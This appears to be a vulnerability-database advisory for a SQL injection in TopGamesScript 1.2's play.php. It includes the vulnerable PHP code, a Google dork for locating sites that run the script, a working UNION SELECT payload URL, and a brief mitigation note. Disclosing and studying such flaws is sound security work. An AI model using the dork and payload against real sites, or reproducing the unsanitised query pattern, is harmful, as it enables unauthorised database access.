TopGamesScript-v1.2 (play.php) Sql Injection Vulnerability

vendor:

TopGamesScript

by:

AtT4CKxT3rR0r1ST

7,5

CVSS

HIGH

Classic MySQL Injection

CWE

Product Name: TopGamesScript

Affected Version From: 1.2

Affected Version To: 1.2

Patch Exists: NO

Related CWE: N/A

CPE: a:topgames:topgamesscript:1.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

TopGamesScript-v1.2 (play.php) Sql Injection Vulnerability

An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The request should contain a malicious SQL query in the 'gid' parameter. This will allow the attacker to execute arbitrary SQL commands on the underlying database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

TopGamesScript-v1.2 (play.php) Sql Injection Vulnerability
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         :
http://sourceforge.net/projects/gamesscript/files/latest/download?source=directory
.:. Dork           : inurl:"play.php?gid=" "Powered By TopGames.ws"
####################################################################

######################################
VULNERABILITY: CLASSIC MYSQL INJECTION
######################################

/play.php (LINE: 4-19)

-----------------------------------------------------------------------------
 $gameID= $_GET['gid'];

$con = mysql_connect($dbserver,$dbuser,$dbpassword);
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

mysql_select_db($dbname, $con);

$sqlselect="SELECT * FROM games WHERE gameid=" . $gameID;
$result = mysql_query($sqlselect);

$row = mysql_fetch_array($result);
$gwidth =  $row['width'];
$gheight = $row['height'];

-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################

http://localhost/TopGamesScript/play.php?gid=null and 1=2 UNION SELECT
1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23


####################################################################